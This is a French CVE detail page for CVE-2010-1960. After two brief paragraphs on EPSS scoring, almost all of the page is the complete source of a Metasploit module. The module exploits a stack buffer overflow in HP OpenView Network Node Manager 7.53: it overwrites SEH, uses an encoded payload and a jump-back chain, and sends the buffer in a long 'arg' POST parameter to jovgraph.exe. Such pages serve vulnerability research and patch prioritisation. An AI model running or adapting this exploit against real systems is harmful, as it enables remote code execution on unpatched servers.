CVE-2010-1960 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: hp_nnm_ovwebsnmpsrv_uro.rb 12095 2011-03-23 15:43:25Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView Network Node Manager ovwebsnmpsrv.exe Unrecognized Option Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53 prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe' CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code. The vulnerable code is within the option parsing function within "ovwebsnmpsrv.exe" with a timestamp prior to April 7th, 2010. Reaching the vulnerable code requires a 'POST' request with an 'arg' parameter that, when combined with a some static text, exceeds 10240 bytes. The parameter must begin with a dash. It is important to note that this vulnerability must be exploited by overwriting SEH. This is since overflowing the buffer with controllable data always triggers an access violation when attempting to write static text beyond the end of the stack. Exploiting this issue is a bit tricky due to a restrictive character set. In order to accomplish arbitrary code execution, a double-backward jump is used in combination with the Alpha2 encoder. } , 'Author' => [ 'jduck' # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12095 $', 'References' => [ [ 'CVE', '2010-1960' ], [ 'OSVDB', '65427' ], [ 'BID', '40637' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-105/' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => false, 'Payload' => { 'Space' => 10240, # 10240 byte buffer.. # In addition to regular HTTP type bad chars, this one also has # an issue with " since the buffer is being passed on the command line. 'BadChars' => (0x00..0x1f).to_a.pack('C*') + "\x20\x21\x22\x24\x2c\x3b\x3c\x3e\x60", 'DisableNops' => true, # Manually use FPU to get EIP into ECX 'PrependEncoder' => "\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x83\xe9\xf7", 'EncoderOptions' => { 'BufferRegister' => 'ecx' }, }, 'Platform' => 'win', 'Targets' => [ [ 'HP OpenView Network Node Manager 7.53 w/NNM_01206', { 'Ret' => 0x5a238ba7, # pop edx/pop ebp/ret - in ovsnmp.dll v1.30.10.9166 } ], [ 'Debug Target', { 'Ret' => 0xdeadbeef, # crasher } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'June 08 2010')) register_options( [ Opt::RPORT(80), ], self.class) end def exploit print_status("Trying target #{target.name}...") cgi = '/OvCgi/jovgraph.exe' # A long command line option (starts with -) will cause a buffer overflow. # Action just has to be set, doesn't matter what it is. action = rand_text_alphanumeric(1) # "timestamp" cannot be set. start = 'Unrecognized option: ' # SEH seh_offset = 0x2cb0 # 0x13ffb0 - 0x13d300 seh_frame = generate_seh_record(target.ret) # Jump back to the payload, after p/p/r jumps to us. # NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars.. # 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself distance = seh_offset - 1 + seh_frame.length # dry run jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string distance = seh_offset - start.length - 1 - jmp_back.length jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string # A short jump back to the long jump back :) jmp_small = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + jmp_back.length.to_s).encode_string jmp_small << rand_text(2) buf = '-' buf << payload.encoded buf << "A" * (seh_offset - start.length - buf.length - jmp_back.length) buf << jmp_back buf << jmp_small buf << [target.ret].pack('V') # Send the request res = send_request_cgi({ 'uri' => cgi, 'method' => "POST", 'vars_post' => { 'act' => action, 'arg' => buf, } }, 3) if res and res.code != 502 print_error("Eek! We weren't expecting a response, but we got one") print_status(res.inspect) if datastore['NNM_DEBUG'] end handler end end